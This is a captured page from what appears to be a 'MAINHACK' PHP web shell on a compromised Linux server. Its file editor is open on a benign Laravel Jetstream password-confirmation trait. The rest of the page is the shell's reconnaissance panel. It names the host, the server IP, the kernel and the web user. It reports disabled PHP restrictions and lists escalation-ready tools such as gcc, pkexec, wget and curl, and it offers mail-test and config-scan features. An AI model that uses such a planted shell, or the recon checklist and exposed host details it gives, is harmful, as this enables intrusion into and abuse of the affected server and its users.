[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ConfirmsPasswords.php
<?php namespace Laravel\Jetstream; use Illuminate\Contracts\Auth\StatefulGuard; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\ValidationException; use Laravel\Fortify\Actions\ConfirmPassword; trait ConfirmsPasswords { /** * Indicates if the user's password is being confirmed. * * @var bool */ public $confirmingPassword = false; /** * The ID of the operation being confirmed. * * @var string|null */ public $confirmableId = null; /** * The user's password. * * @var string */ public $confirmablePassword = ''; /** * Start confirming the user's password. * * @param string $confirmableId * @return void */ public function startConfirmingPassword(string $confirmableId) { $this->resetErrorBag(); if ($this->passwordIsConfirmed()) { return $this->dispatch('password-confirmed', id: $confirmableId, ); } $this->confirmingPassword = true; $this->confirmableId = $confirmableId; $this->confirmablePassword = ''; $this->dispatch('confirming-password'); } /** * Stop confirming the user's password. * * @return void */ public function stopConfirmingPassword() { $this->confirmingPassword = false; $this->confirmableId = null; $this->confirmablePassword = ''; } /** * Confirm the user's password. * * @return void */ public function confirmPassword() { if (! app(ConfirmPassword::class)(app(StatefulGuard::class), Auth::user(), $this->confirmablePassword)) { throw ValidationException::withMessages([ 'confirmable_password' => [__('This password does not match our records.')], ]); } session(['auth.password_confirmed_at' => time()]); $this->dispatch('password-confirmed', id: $this->confirmableId, ); $this->stopConfirmingPassword(); } /** * Ensure that the user's password has been recently confirmed. * * @param int|null $maximumSecondsSinceConfirmation * @return void */ protected function ensurePasswordIsConfirmed($maximumSecondsSinceConfirmation = null) { $maximumSecondsSinceConfirmation = $maximumSecondsSinceConfirmation ?: config('auth.password_timeout', 900); $this->passwordIsConfirmed($maximumSecondsSinceConfirmation) ? null : abort(403); } /** * Determine if the user's password has been recently confirmed. * * @param int|null $maximumSecondsSinceConfirmation * @return bool */ protected function passwordIsConfirmed($maximumSecondsSinceConfirmation = null) { $maximumSecondsSinceConfirmation = $maximumSecondsSinceConfirmation ?: config('auth.password_timeout', 900); return (time() - session('auth.password_confirmed_at', 0)) < $maximumSecondsSinceConfirmation; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002